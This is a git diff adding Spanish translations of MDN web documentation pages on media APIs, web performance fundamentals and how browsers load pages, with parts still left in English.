+ <dd>The MediaStream Recording API lets you capture media streams to process or filter the data or record it to disk.</dd>
+ <dt><a href="/en-US/docs/Web/API/Web_Audio_API">Web Audio API</a></dt>
+ <dd>The Web Audio API lets you generate, filter, and manipulate sound data both in real-time and on pre-recorded material, then send that audio to a destination such as an <code>&lt;audio&gt;</code> element, a media stream, or to disk.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a></dt>
+ <dd>WebRTC (Web Real-Time Communication) makes it possible to stream live audio and video, as well as transfer arbitrary data, between two peers over the Internet, without requiring an intermediary.</dd>
+</dl>
+</div>
+
+<div class="section">
+<h2 class="Documentation" id="Guides">Guides</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/Media/Overview">Overview of media technology on the web</a></dt>
+ <dd>A general look at the open Web technologies and APIs that provide support for audio and video playback, manipulation, and recording. If you're not sure which API you should use, this is the place to start.</dd>
+ <dt><a href="/en-US/docs/Web/Media/HTML_media">Using audio and video in HTML</a></dt>
+ <dd>A guide to using the HTML <code>&lt;audio&gt;</code> and <code>&lt;video&gt;</code> elements.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Accessibility">Accessibility guide for media in web design</a></dt>
+ <dd>In this guide, we cover ways web designers and developers can create content that is accessible to people with different capabilities. This ranges from simply using the {{htmlattrxref("alt", "img")}} attribute on {{HTMLElement("img")}} elements to captions to tagging media for screen readers.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Formats">Guide to media types and formats on the web</a></dt>
+ <dd>A guide to the file types and codecs available for images, audio, and video media on the web. This includes recommendations for what formats to use for what kinds of content, best practices including how to provide fallbacks and how to prioritize media types, and also includes general browser support information for each media container and codec.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Streaming">Streaming audio and video</a></dt>
+ <dd>A guide which covers how to stream audio and video, as well as techniques and technologies you can take advantage of to ensure the best possible quality and/or performance of your streams.</dd>
+ <dt><a href="/en-US/docs/Web/Media/Autoplay_guide">Autoplay guide for media and Web Audio APIs</a></dt>
+ <dd>Unexpected automatic playback of media or audio can be an unwelcome surprise to users. While autoplay serves a purpose, it should be used carefully. To give users control over this, many browsers now provide forms of autoplay blocking. This article is a guide to autoplay, with tips on when and how to use it and how to work with browsers to handle autoplay blocking gracefully.</dd>
+ <dt><a href="/en-US/docs/Web/Media/3D_audio">Positional audio in a 3D environment</a></dt>
+ <dd>In 3D environments, which may either be 3D scenes rendered to the screen or a mixed reality experience experienced using a headset, it's important for audio to be performed so that it sounds like it's coming from the direction of its source. This guide covers how to accomplish this.</dd>
+ <dt><a href="/en-US/docs/Web/Media/3D_video">Playing video in a 3D environment</a></dt>
+ <dd>In this guide, we examine how to play video into a 3D scene. This technique can be used in both standard <a href="/en-US/docs/Web/API/WebGL_API">WebGL</a> applications presented on a flat computer screen, or in a <a href="/en-US/docs/Web/API/WebXR_Device_API">WebXR</a>-generated virtual or augmented reality environment.</dd>
+</dl>
+
+<dl>
+</dl>
+
+<h2 id="Other_topics">Other topics</h2>
+
+<p>Related topics which may be of interest, since they can be used in tandem with media APIs in interesting ways.</p>
+
+<dl>
+ <dt><a href="/en-US/docs/Web/API/Canvas_API">The Canvas API</a></dt>
+ <dd>The Canvas API lets you draw into an {{HTMLElement("canvas")}}, manipulating and changing the contents of an image. This can be used with media in many ways, including by setting a <code>&lt;canvas&gt;</code> element as the destination for video playback or camera capture so that you can capture and manipulate video frames.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebGL_API">WebGL</a></dt>
+ <dd>WebGL provides an OpenGL ES compatible API on top of the existing Canvas API, making it possible to do powerful 3D graphics on the Web. Through a canvas, this can be used to add 3D imagery to media content.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebXR_API">WebXR</a></dt>
+ <dd>WebXR, which has replaced the now-obsolete WebVR API, is a technology that provides support for creating virtual reality (VR) and augmented reality (AR) content. The mixed reality content can then be displayed on the device's screen or using goggles or a headset.</dd>
+ <dt><a href="/en-US/docs/Web/API/WebVR_API">WebVR</a> {{deprecated_inline}}</dt>
+ <dd>The Web Virtual Reality API supports virtual reality (VR) devices such as the Oculus Rift or the HTC Vive, making it possible for developers to translate position and movement of the user into movement within a 3D scene which is then presented on the device. WebVR has been replaced by WebXR, and is due to be removed from browsers soon.</dd>
+ <dt></dt>
+</dl>
+</div>
+</div>
diff --git a/files/es/web/performance/fundamentals/index.html b/files/es/web/performance/fundamentals/index.html
new file mode 100644
index 0000000000..4d5fa5378c
--- /dev/null
+++ b/files/es/web/performance/fundamentals/index.html
@@ -0,0 +1,233 @@
+---
+title: Performance fundamentals
+slug: Web/Performance/Fundamentals
+translation_of: Web/Performance/Fundamentals
+---
+<div class="summary">
+<p>Performance significa eficiencia. En el contexto de Open Web Apps, este documento explica en general qué es performance, cómo la plataforma del navegador ayuda a mejorarlo y qué herramientas y procesos puede usar para probarlo y mejorarlo.</p>
+</div>
+
+<h2 id="¿Qué_es_performance">¿Qué es performance?</h2>
+
+<p>En última instancia, el performance percibido por el usuario es el único performance que importa. Los usuarios proporcionan entradas al sistema a través del tacto, el movimiento y el habla. A cambio, reciben salidas a través de la vista, el tacto y la audición. El performance es la calidad de las salidas del sistema en respuesta a las entradas del usuario.</p>
+
+<p>En igualdad de condiciones, el código optimizado para algún objetivo diferente al performance percibido por el usuario (en adelante, PPU) pierde cuando compite contra código optimizado para PPU. Los usuarios prefieren una aplicación fluida y receptiva que capaz de procesar 1,000 transacciones de base de datos por segundo, en lugar de una aplicación que no responde aún cuando sea capaz de procesar 100,000,000 por segundo. Esto no quiere decir, que no es importante optimizar otras métricas, pero se debe trabajar con PPU como objetivo principal.</p>
+
+<p>Las siguientes secciones señalan y discuten métricas esenciales para medir performance.</p>
+
+<h3 id="Capacidad_de_respuesta">Capacidad de respuesta</h3>
+
+<p> </p>
+
+<p>La capacidad de respuesta simplemente significa la rapidez con la que el sistema proporciona salidas (posiblemente varias) en respuesta a las entradas del usuario. Por ejemplo, cuando un usuario toca la pantalla, espera que los píxeles cambien de cierta manera. Para esta interacción, la métrica de capacidad de respuesta es el tiempo transcurrido entre el toque y el cambio de píxel.</p>
+
+<p>La capacidad de respuesta a veces implica múltiples etapas de retroalimentación. El lanzamiento de la aplicación es un caso particularmente importante que se analiza con más detalle a continuación.</p>
+
+<p>La capacidad de respuesta es importante simplemente porque las personas se sienten frustradas y enojadas cuando son ignoradas. Una aplicación está ignorando al usuario cada segundo que no responde a la entrada del usuario.</p>
+
+<p> </p>
+
+<h3 id="Frecuencia_de_cuadros">Frecuencia de cuadros</h3>
+
+<p> </p>
+
+<p>La frecuencia de cuadros es la velocidad a la que el sistema cambia los píxeles que se muestran al usuario. Este es un concepto familiar: todos prefieren, digamos, juegos que muestran 60 cuadros por segundo sobre los que muestran 10 cuadros por segundo, incluso si no pueden explicar por qué.</p>
+
+<p>La velocidad de cuadros es importante como una métrica de "calidad de servicio". Las pantallas de computadora están diseñadas para "engañar" la vista del usuario, al entregarles fotones que imitan la realidad. Por ejemplo, el papel cubierto con texto impreso refleja fotones a los ojos del usuario formando un patrón. Al manipular los píxeles, una aplicación de lectura emite fotones en un patrón similar para "engañar" la vista del usuario.</p>
+
+<p>El cerebro entonces infiere que el moviemiento se "actualiza" de manera fluida y continua. (Las luces estroboscópicas son divertidas porque dan la vuelta al revés, lo que confunde al cerebro el cual reacciona generando adrenalina y altos niveles de estrés). En una pantalla de computadora, una mayor tasa de cuadros simplemente hace una imitación más fiel de la realidad.</p>
+
+<p> </p>
+
+<div class="note">
+<p><strong>Nota</strong>: Los seres humanos generalmente no pueden percibir diferencias en la frecuencia de cuadros por encima de 60Hz. Es por eso que las pantallas electrónicas más modernas están diseñadas para actualizarse a esa velocidad. Una televisión probablemente se ve entrecortada y poco realista para un colibrí, por ejemplo.</p>
+</div>
+
+<h3 id="Uso_de_la_memoria">Uso de la memoria</h3>
+
+<p>El <strong>uso de la memoria</strong> <span class="tlid-translation translation" lang="es"><span title=""> es otra métrica clave.</span> <span title="">A diferencia de la capacidad de respuesta y la frecuencia de cuadros, los usuarios no perciben directamente el uso de la memoria, pero el uso de la memoria se aproxima mucho al "estado del usuario".</span> <span title="">Un sistema ideal mantendría el 100% del estado del usuario en todo momento: todas las aplicaciones en el sistema se ejecutarían simultáneamente, y todas las aplicaciones conservarían el estado creado por el usuario la última vez que el usuario interactuó con la aplicación (el estado de la aplicación se almacena en la memoria de la computadora</span><span title="">, por lo que la aproximación es cercana).</span></span></p>
+
+<p>De esto viene un corolario importante pero contraintuitivo: un sistema bien diseñado no maximiza la cantidad de memoria <strong>libre</strong>. La memoria es un recurso, y la memoria libre es un recurso no utilizado. Más bien, un sistema bien diseñado se ha optimizado para <strong>usar </strong>la mayor cantidad de memoria posible para mantener el estado del usuario, al mismo tiempo que cumple otros objetivos de PPU.</p>
+
+<p>Eso no significa que el sistema deba <strong>desperdiciar</strong> memoria. Cuando un sistema usa más memoria de la necesaria para mantener un estado particular del usuario, el sistema está desperdiciando un recurso que podría usar para retener algún otro estado del usuario. En la práctica, ningún sistema puede mantener todos los estados del usuario. La asignación inteligente de memoria al estado del usuario es una preocupación importante que veremos más detalladamente a continuación.</p>
+
+<h3 id="Consumo_de_energía">Consumo de energía</h3>
+
+<p> </p>
+
+<p>La métrica final discutida aquí es el consumo de energía. Al igual que el uso de la memoria, los usuarios perciben el consumo de energía solo indirectamente, por el tiempo que sus dispositivos pueden mantener todos los demás objetivos de PPU. Para cumplir los objetivos de PPU, el sistema debe utilizar solo la potencia mínima requerida.</p>
+
+<p>El resto de este documento analizará el rendimiento en términos de estas métricas.</p>
+
+<p> </p>
+
+<h2 id="Optimizaciones_de_rendimiento_según_la_plataforma">Optimizaciones de rendimiento según la plataforma</h2>
+
+<p>Esta sección proporciona una breve descripción de cómo Firefox / Gecko contribuye al rendimiento en general, desde un nivel más abajo que las aplicaciones. Desde la perspectiva de un desarrollador o un usuario, esto responde a la pregunta "¿Qué hace la plataforma por usted?"</p>
+
+<h3 id="Tecnologías_web">Tecnologías web</h3>
+
+<p>La plataforma web proporciona muchas herramientas, algunas más adecuadas para trabajos particulares que otras. Toda la lógica de la aplicación está escrita en JavaScript. Para mostrar gráficos, los desarrolladores pueden usar HTML o CSS (es decir, lenguajes declarativos de alto nivel), o usar interfaces imperativas de bajo nivel ofrecidas por el elemento <a href="/es/docs/Web/HTML/Elemento/canvas">&lt;canvas&gt;</a> (que incluye <a href="/es/docs/Web/API/WebGL_API">WebGL</a>). En algún lugar "entre" HTML / CSS y Canvas está <a href="/es/docs/Web/SVG">SVG</a>, que ofrece algunos beneficios de ambos.</p>
+
+<p>HTML y CSS aumentan en gran medida la productividad, a veces a expensas de la frecuencia de cuadros o el control a nivel de píxeles de la renderización. El texto y las imágenes se vuelven a generar automáticamente, los elementos de la IU reciben automáticamente el tema del sistema, y el sistema proporciona soporte "integrado" para algunos casos de uso que los desarrolladores pueden no pensar inicialmente, como pantallas de diferente resolución o idiomas de derecha a izquierda.</p>
+
+<p>The <code>canvas</code> element offers a pixel buffer directly for developers to draw on. This gives developers pixel-level control over rendering and precise control of framerate, but now the developers need to deal with multiple resolutions and orientations, right-to-left languages, and so forth. Developers draw to canvases using either a familiar 2D drawing API, or WebGL, a "close to the metal" binding that mostly follows OpenGL ES 2.0.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Firefox OS is optimized for apps built with Web technologies: <a href="/en-US/docs/Web/HTML">HTML</a>, <a href="/en-US/docs/Web/CSS">CSS</a>, <a href="/en-US/docs/Web/JavaScript">JavaScript</a>, and so on. Except for a handful of basic system services, all code that runs in Firefox OS comes from Web apps and the Gecko engine. Even the OS window manager is written in HTML, CSS, and JavaScript. Because the core operating system and applications are built with same Web technologies, it's critical how those technologies perform. There's no "escape hatch". This greatly benefits developers because now third-party apps benefit from all the OS's own optimizations. There's no "magic performance sauce" available only to preinstalled code. See <a href="/en-US/Apps/Developing/Performance/Firefox_OS_performance_testing">Firefox OS performance testing</a> for more details relevant to Firefox OS.</p>
+</div>
+
+<h3 id="Gecko_rendering">Gecko rendering</h3>
+
+<p>The Gecko JavaScript engine supports just-in-time (JIT) compilation. This enables application logic to perform comparably to other virtual machines — such as Java virtual machines — and in some cases even close to "native code".</p>
+
+<p>The graphics pipeline in Gecko that underpins HTML, CSS, and Canvas is optimized in several ways. The HTML/CSS layout and graphics code in Gecko reduces invalidation and repainting for common cases like scrolling; developers get this support "for free". Pixel buffers painted by both Gecko "automatically" and applications to <code>canvas</code> "manually" minimize copies when being drawn to the display framebuffer. This is done by avoiding intermediate surfaces where they would create overhead (such as per-application "back buffers" in many other operating systems), and by using special memory for graphics buffers that can be directly accessed by the compositor hardware. Complex scenes are rendered using the device's GPU for maximum performance. To improve power usage, simple scenes are rendered using special dedicated composition hardware, while the GPU idles or turns off.</p>
+
+<p>Fully static content is the exception rather than the rule for rich applications. Rich applications use dynamic content with {{ cssxref("animation") }} and {{ cssxref ("transition") }} effects. Transitions and animations are particularly important to applications: developers can use CSS to declare complicated behaviour with a simple, high-level syntax. In turn, Gecko's graphics pipeline is highly optimized to render common animations efficiently. Common-case animations are "offloaded" to the system compositor, which can render them in a performant, power-efficient fashion.</p>
+
+<p>An app's startup performance matters just as much as its runtime performance. Gecko is optimized to load a wide variety of content efficiently: the entire Web! Many years of improvements targeting this content, like parallel HTML parsing, intelligent scheduling of reflows and image decoding, clever layout algorithms, etc., translate just as well to improving Web applications on Firefox.</p>
+
+<div class="note">
+<p><strong>Note</strong>: See <a href="/en-US/Apps/Developing/Performance/Firefox_OS_performance_testing">Firefox OS performance testing</a> for more information about Firefox OS specifics that help to further improve startup performance.</p>
+</div>
+
+<h2 id="Application_performance">Application performance</h2>
+
+<p>This section is intended for developers asking the question: "How can I make my app fast"?</p>
+
+<h3 id="Startup_performance">Startup performance</h3>
+
+<p>Application startup is punctuated by three user-perceived events, generally speaking:</p>
+
+<ul>
+ <li>The first is the application <strong>first paint</strong> — the point at which sufficient application resources have been loaded to paint an initial frame</li>
+ <li>The second is when the application becomes <strong>interactive</strong> — for example, users are able to tap a button and the application responds</li>
+ <li>The final event is <strong>full load</strong> — for example when all the user's albums have been listed in a music player</li>
+</ul>
+
+<p>The key to fast startup is to keep two things in mind: UPP is all that matters, and there's a "critical path" to each user-perceived event above. The critical path is exactly and only the code that must run to produce the event.</p>
+
+<p>For example, to paint an application's first frame that comprises visually some HTML and CSS to style that HTML:</p>
+
+<ol>
+ <li>The HTML must be parsed</li>
+ <li>The DOM for that HTML must be constructed</li>
+ <li>Resources like images in that part of the DOM have to be loaded and decoded</li>
+ <li>The CSS styles must be applied to that DOM</li>
+ <li>The styled document has to be reflowed</li>
+</ol>
+
+<p>Nowhere in that list is "load the JS file needed for an uncommon menu"; "fetch and decode the image for the High Scores list", etc. Those work items are not on the critical path to painting the first frame.</p>
+
+<p>It seems obvious, but to reach a user-perceived startup event more quickly, the main "trick" is run <em>only the code on the critical path.</em> Shorten the critical path by simplifying the scene.</p>
+
+<p>The Web platform is highly dynamic. JavaScript is a dynamically-typed language, and the Web platform allows loading code, HTML, CSS, images, and other resources dynamically. These features can be used to defer work that's off the critical path by loading unnecessary content "lazily" some time after startup.</p>
+
+<p>Another problem that can delay startup is idle time, caused by waiting for responses to requests (like database loads). To avoid this problem, applications should issue requests as early as possible in startup (this is called "front-loading"). Then when the data is needed later, hopefully it's already available and the application doesn't have to wait.</p>
+
+<div class="note">
+<p><strong>Note</strong>: For much more information on improving startup performance, read <a href="/en-US/Apps/Developing/Performance/Optimizing_startup_performance">Optimizing startup performance</a>.</p>
+</div>
+
+<p>On the same note, notice that locally-cached, static resources can be loaded much faster than dynamic data fetched over high-latency, low-bandwidth mobile networks. Network requests should never be on the critical path to early application startup. Caching resources locally is also the only way applications can be used offline, and for standard Open Web Apps, at the moment this requires use of HTML5 <a href="/en-US/docs/HTML/Using_the_application_cache">AppCache</a>.</p>
+
+<div class="note">
+<p><strong>Note</strong>: Firefox OS allows applications to cache resources by being installed as applications, either being "packaged" in a compressed ZIP file or "hosted" through HTML5 <a href="/en-US/docs/HTML/Using_the_application_cache">AppCache</a>. How to choose between these options for a particular type of application is beyond the scope of this document, but in general application packages provide optimal load performance; AppCache is slower. Installable apps will hopefully be coming to other platforms soon!</p>
+</div>
+
+<h3 id="Framerate">Framerate</h3>
+
+<p>The first important thing for high framerate is to choose the right tool. Use HTML and CSS to implement content that's mostly static, scrolled, and infrequently animated. Use Canvas to implement highly dynamic content, like games that need tight control over rendering and don't need theming.</p>
+
+<p>For content drawn using Canvas, it's up to the developer to hit framerate targets: they have direct control over what's drawn.</p>
+
+<p>For HTML and CSS content, the path to high framerate is to use the right primitives. Firefox is highly optimized to scroll arbitrary content; this is usually not a concern. But often trading some generality and quality for speed, such as using a static rendering instead of a CSS radial gradient, can push scrolling framerate over a target. CSS <a href="/en-US/docs/Web/Guide/CSS/Media_queries">media queries</a> allow these compromises to be restricted only to devices that need them.</p>
+
+<p>Many applications use transitions or animations through "pages", or "panels". For example, the user taps a "Settings" button to transition into an application configuration screen, or a settings menu "pops up". Firefox is highly optimized to transition and animate scenes that:</p>
+
+<ul>
+ <li>use pages/panels approximately the size of the device screen or smaller</li>
+ <li>transition/animate the CSS <code>transform</code> and <code>opacity</code> properties</li>
+</ul>
+
+<p>Transitions and animations that adhere to these guidelines can be offloaded to the system compositor and run maximally efficiently.</p>
+
+<h3 id="Memory_and_power_usage">Memory and power usage</h3>
+
+<p>Improving memory and power usage is a similar problem to speeding up startup: don't do unneeded work or lazily load uncommonly-used UI resources. Do use efficient data structures and ensure resources like images are optimized well.</p>
+
+<p>Modern CPUs can enter a lower-power mode when mostly idle. Applications that constantly fire timers or keep unnecessary animations running prevent CPUs from entering low-power mode. Power-efficient applications shouldn't do that.</p>
+
+<p>When applications are sent to the background, a {{event("visibilitychange")}} event is fired on their documents. This event is a developer's friend; applications should listen for it. Applications that drop as many loaded resources as possible when sent to the background use less memory and are less likely discarded, in the case of Firefox OS (see the note below). This in turn means they "start up" faster (since they are already running) and have better UPP.</p>
+
+<div class="note">
+<p><strong>Note</strong>: As mentioned above, Firefox OS tries to keep as many applications running simultaneously as it can, but does have to discard applications sometimes, usually when the device runs out of memory. To find out more about how Firefox OS manages memory usage and kills apps when out of memory issues are encountered, read <a href="/en-US/Firefox_OS/Debugging/Debugging_OOMs">Debugging out of memory errors on Firefox OS</a>.</p>
+</div>
+
+<h3 id="Specific_coding_tips_for_application_performance">Specific coding tips for application performance</h3>
+
+<p>The following practical tips will help improve one or more of the Application performance factors discussed above.</p>
+
+<h4 id="Use_CSS_animations_and_transitions">Use CSS animations and transitions</h4>
+
+<p>Instead of using some library’s <code>animate()</code> function, which probably currently uses many badly performing technologies ({{domxref("window.setTimeout()")}} or <code>top</code>/<code>left</code> positioning, for example) use <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_animations">CSS animations</a>. In many cases, you can actually use <a href="/en-US/docs/Web/Guide/CSS/Using_CSS_transitions">CSS Transitions</a> to get the job done. This works well because the browser is designed to optimize these effects and use the GPU to handle them smoothly with minimal impact on processor performance. Another benefit is that you can define these effects in CSS along with the rest of your app's look-and-feel, using a standardized syntax.</p>
+
+<p>CSS animations give you very granular control over your effects using <a href="/en-US/docs/Web/CSS/@keyframes">keyframes</a>, and you can even watch events fired during the animation process in order to handle other tasks that need to be performed at set points in the animation process. You can easily trigger these animations with the {{cssxref(":hover")}}, {{cssxref(":focus")}}, or {{cssxref(":target")}}, or by dynamically adding and removing classes on parent elements.</p>
+
+<p>If you want to create animations on the fly or modify them in <a href="/en-US/docs/JavaScript">JavaScript</a>, James Long has written a simple library for that called <a href="https://github.com/jlongster/css-animations.js/">CSS-animations.js</a>.</p>
+
+<h4 id="Use_CSS_transforms">Use CSS transforms</h4>
+
+<p>Instead of tweaking absolute positioning and fiddling with all that math yourself, use the {{cssxref("transform")}} CSS property to adjust the position, scale, and so forth of your content. The reason is, once again, hardware acceleration. The browser can do these tasks on your GPU, letting the CPU handle other things.</p>
+
+<p>In addition, transforms give you capabilities you might not otherwise have. Not only can you translate elements in 2D space, but you can transform in three dimensions, skew and rotate, and so forth. Paul Irish has an <a href="http://paulirish.com/2012/why-moving-elements-with-translate-is-better-than-posabs-topleft/">in-depth analysis of the benefits of <code>translate()</code></a> from a performance point of view. In general, however, you have the same benefits you get from using CSS animations: you use the right tool for the job and leave the optimization to the browser. You also use an easily extensible way of positioning elements — something that needs a lot of extra code if you simulate translation with <code>top</code> and <code>left</code> positioning. Another bonus is that this is just like working in a <code>canvas</code> element.</p>
+
+<div class="note">
+<p><strong>Note</strong>: You may need to attach a <code>translateZ(0.1)</code> transform if you wish to get hardware acceleration on your CSS animations, depending on platform. As noted above, this can improve performance, but can also have memory consumption issues. What you do in this regard is up to you — do some testing and find out what's best for your particular app.</p>
+</div>
+
+<h4 id="Use_requestAnimationFrame()_instead_of_setInterval()">Use <code>requestAnimationFrame()</code> instead of <code>setInterval()</code></h4>
+
+<p>Calls to {{domxref("window.setInterval()")}} run code at a presumed frame rate that may or may not be possible under current circumstances. It tells the browser to render results even while the browser isn't actually drawing; that is, while the video hardware hasn't reached the next display cycle. This wastes processor time and can even lead to reduced battery life on the user's device.</p>
+
+<p>Instead, you should try to use {{domxref("window.requestAnimationFrame()")}}. This waits until the browser is actually ready to start building the next frame of your animation, and won't bother if the hardware isn't going to actually draw anything. Another benefit to this API is that animations won't run while your app isn't visible on the screen (such as if it's in the background and some other task is operating). This will save battery life and prevent users from cursing your name into the night sky.</p>
+
+<h4 id="Make_events_immediate">Make events immediate</h4>
+
+<p>As old-school, accessibility-aware Web developers we love click events since they also support keyboard input. On mobile devices, these are too slow. You should use {{event("touchstart")}} and {{event("touchend")}} instead. The reason is that these don’t have a delay that makes the interaction with the app appear sluggish. If you test for touch support first, you don’t sacrifice accessibility, either. For example, the Financial Times uses a library called <a href="https://github.com/ftlabs/fastclick">fastclick</a> for that purpose, which is available for you to use.</p>
+
+<h4 id="Keep_your_interface_simple">Keep your interface simple</h4>
+
+<p>One big performance issue we found in HTML5 apps was that moving lots of <a href="/en-US/docs/DOM">DOM</a> elements around makes everything sluggish — especially when they feature lots of gradients and drop shadows. It helps a lot to simplify your look-and-feel and move a proxy element around when you drag and drop.</p>
+
+<p>When, for example, you have a long list of elements (let’s say tweets), don’t move them all. Instead, keep in your DOM tree only the ones that are visible and a few on either side of the currently visible set of tweets. Hide or remove the rest. Keeping the data in a JavaScript object instead of accessing the DOM can vastly improve your app's performance. Think of the display as a presentation of your data rather than the data itself. That doesn’t mean you can't use straight HTML as the source; just read it once and then scroll 10 elements, changing the content of the first and last accordingly to your position in the results list, instead of moving 100 elements that aren’t visible. The same trick applies in games to sprites: if they aren’t currently on the screen, there is no need to poll them. Instead re-use elements that scroll off screen as new ones coming in.</p>
+
+<h2 id="General_application_performance_analysis">General application performance analysis</h2>
+
+<p>Firefox, Chrome, and other browsers include built-in tools that can help you diagnose slow page rendering. In particular, <a href="/en-US/docs/Tools/Network_Monitor">Firefox's Network Monitor</a> will display a precise timeline of when each network request on your page happens, how large it is, and how long it takes.</p>
+
+<p><img alt="The Firefox network monitor showing get requests, multiple files, and different times taken to load each resource on a graph." src="https://mdn.mozillademos.org/files/6845/network-monitor.jpg" style="display: block; height: 713px; margin: 0px auto; width: 700px;"></p>
+
+<p>If your page contains JavaScript code that is taking a long time to run, the <a href="/en-US/docs/Tools/Profiler">JavaScript profiler</a> will pinpoint the slowest lines of code:</p>
+
+<p><img alt="The Firefox JavaScript profiler showing a completed profile 1." src="https://mdn.mozillademos.org/files/6839/javascript-profiler.png" style="display: block; height: 433px; margin: 0px auto; width: 896px;"></p>
+
+<p>The <a href="/en-US/docs/Performance/Profiling_with_the_Built-in_Profiler">Built-in Gecko Profiler</a> is a very useful tool that provides even more detailed information about which parts of the browser code are running slowly while the profiler runs. This is a bit more complex to use, but provides a lot of useful details.</p>
+
+<p><img alt="A built-in Gecko profiler windows showing a lot of network information." src="https://mdn.mozillademos.org/files/6837/gecko-profiler.png" style="display: block; height: 514px; margin: 0px auto; width: 896px;"></p>
+
+<div class="note">
+<p><strong>Note</strong>: You can use these tools with the Android browser by running Firefox and enabling <a href="/en-US/docs/Tools/Remote_Debugging">remote debugging</a>.</p>
+</div>
+
+<p>Using <a href="https://addons.mozilla.org/en-US/firefox/addon/yslow/">YSlow</a> (which requires <a href="https://getfirebug.com/">Firebug</a>) provides extremely helpful recommendations for improving performance. Many of the identified problems and suggested solutions are especially useful for mobile browsers. You should definitely run YSlow and follow its recommendations.</p>
+
+<p><img alt="A YSlow window showing a set of tips for improving performance, the top one being make fewer http requests." src="https://mdn.mozillademos.org/files/6843/yslow.png" style="display: block; height: 240px; margin: 0px auto; width: 605px;"></p>
+
+<p>In particular, making dozens or hundreds of network requests takes longer in mobile browsers. Rendering large images and CSS gradients can also take longer. Simply downloading large files can take longer, even over a fast network, because mobile hardware is sometimes too slow to take advantage of all the available bandwidth. For useful general tips on mobile Web performance, have a look at Maximiliano Firtman's <a href="http://www.slideshare.net/firt/mobile-web-high-performance">Mobile Web High Performance</a> talk.</p>
+
+<h3 id="Testcases_and_submitting_bugs">Testcases and submitting bugs</h3>
+
+<p>If the Firefox and Chrome developer tools don't help you find a problem, or if they seem to indicate that the Web browser has caused the problem, try to provide a reduced test case that maximally isolates the problem. That often helps in diagnosing problems.</p>
+
+<p>See if you can reproduce the problem by saving and loading a static copy of an HTML page (including any images/stylesheets/scripts it embeds). If so, edit the static files to remove any private information, then send them to others for help (submit a <a href="https://bugzilla.mozilla.org/">Bugzilla</a> report, for example, or host it on a server and share the URL). You should also share any profiling information you've collected using the tools listed above.</p>
diff --git a/files/es/web/performance/how_browsers_work/index.html b/files/es/web/performance/how_browsers_work/index.html
new file mode 100644
index 0000000000..95677a1f2d
--- /dev/null
+++ b/files/es/web/performance/how_browsers_work/index.html
@@ -0,0 +1,208 @@
+---
+title: 'Populating the page: how browsers work'
+slug: Web/Performance/How_browsers_work
+tags:
+  - Composición
+  - Navegadorres
+  - Renderizado
+translation_of: Web/Performance/How_browsers_work
+---
+<p>Los usuarios quieren que las experiencias en la web sean rápidas y que tengan una intereacción sencilla. Por este motivo, los desarrolladores debén esforzarse para lograr estos dos objetivos</p>
+
+<p>Para entender como mejorar el desempeño, es importante entender como funciona el navegador.</p>
+
+<p>Overview</p>
+
+<p>Fast sites provide better user experiences. Users want and expect web experiences with content that is fast to load and smooth to interact with.</p>
+
+<p>Two major issues in web performance are understanding issues having to do with latency and issues having to do with the fact that for the most part, browsers are single threaded.</p>
+
+<p>Latency is our main threat to overcome to ensure a fast load. To be fast to load, the developers’ goals include sending requested information as fast as possible, or at least seem super fast. Network latency is the time it takes to transmit bytes over-the-air to computers. Web performance is what we have to do to make the page load happen as quickly as possible.</p>
+
+<p>For the most part, browsers are considered single threaded. For smooth interactions, the developer's goal is to ensure performant site interactions, from smooth scrolling to being responsive to touch. Render time is key, with ensuring the main thread can complete all the work we throw at it and still always be available to handle user interactions. Web performance can be improved by understanding the single-threaded nature of the browser and minimizing the main thread's responsibilities, where possible and appropriate, to ensure rendering is smooth and responses to interactions are immediate.</p>
+
+<h2 id="Navigation">Navigation</h2>
+
+<p><em>Navigation</em> is the first step in loading a web page. It occurs whenever a user requests a page by entering a URL into the address bar, clicking a link, submitting a form, as well as other actions.</p>
+
+<p>One of the goals of web performance is to minimize the amount of time a navigation takes to complete. In ideal conditions, this usually doesn't take too long, but latency and bandwidth are foes which can cause delays.</p>
+
+<h3 id="DNS_Lookup">DNS Lookup</h3>
+
+<p>The first step of navigating to a web page is finding where the assets for that page are located. If you navigate to <code>https://example.com</code>, the HTML page is located on the server with IP address of <code>93.184.216.34</code>. If you’ve never visited this site, a DNS lookup must happen.</p>
+
+<p>Your browser requests a DNS lookup, which is eventually fielded by a name server, which in turn responds with an IP address. After this initial request, the IP will likely be cached for a time, which speeds up subsequent requests by retrieving the IP address from the cache instead of contacting a name server again.</p>
+
+<p>DNS lookups usually only need to be done once per hostname for a page load. However, DNS lookups must be done for each unique hostname the requested page references. If your fonts, images, scripts, ads, and metrics all have different hostnames, a DNS lookup will have to be made for each one.</p>
+
+<p><img alt="Mobile requests go first to the cell tower, then to a central phone company computer before being sent to the internet" src="https://mdn.mozillademos.org/files/16743/latency.jpg" style="height: 281px; width: 792px;"></p>
+
+<p>This can be problematic for performance, particularly on mobile networks. When a user is on a mobile network, each DNS lookup has to go from the phone to the cell tower to reach an authoritative DNS server. The distance between a phone, a cell tower, and the name server can add significant latency.</p>
+
+<h3 id="TCP_Handshake">TCP Handshake</h3>
+
+<p>Once the IP address is known, the browser sets up a connection to the server via a {{glossary('TCP handshake','TCP three-way handshake')}}. This mechanism is designed so that two entities attempting to communicate—in this case the browser and web server—can negotiate the parameters of the network TCP socket connection before transmitting data, often over {{glossary('HTTPS')}}.</p>
+
+<p>TCP's three way handshaking technique is often referred to as "SYN-SYN-ACK"—or more accurately SYN, SYN-ACK, ACK—because there are three messages transmitted by TCP to negotiate and start a TCP session between two computers. Yes, this means three more messages back and forth between each server, and the request has yet to be made.</p>
+
+<h3 id="TLS_Negotiation">TLS Negotiation</h3>
+
+<p>For secure connections established over HTTPS, another "handshake" is required. This handshake, or rather the {{glossary('TLS')}} negotiation, determines which cipher will be used to encrypt the communication, verifies the server, and establishes that a secure connection is in place before beginning the actual transfer of data. This requires three more round trips to the server before the request for content is actually sent.</p>
+
+<p><img alt="The DNS lookup, the TCP handshake, and 5 steps of the TLS handshake including clienthello, serverhello and certificate, clientkey and finished for both server and client." src="https://mdn.mozillademos.org/files/16746/ssl.jpg" style="height: 412px; width: 729px;"></p>
+
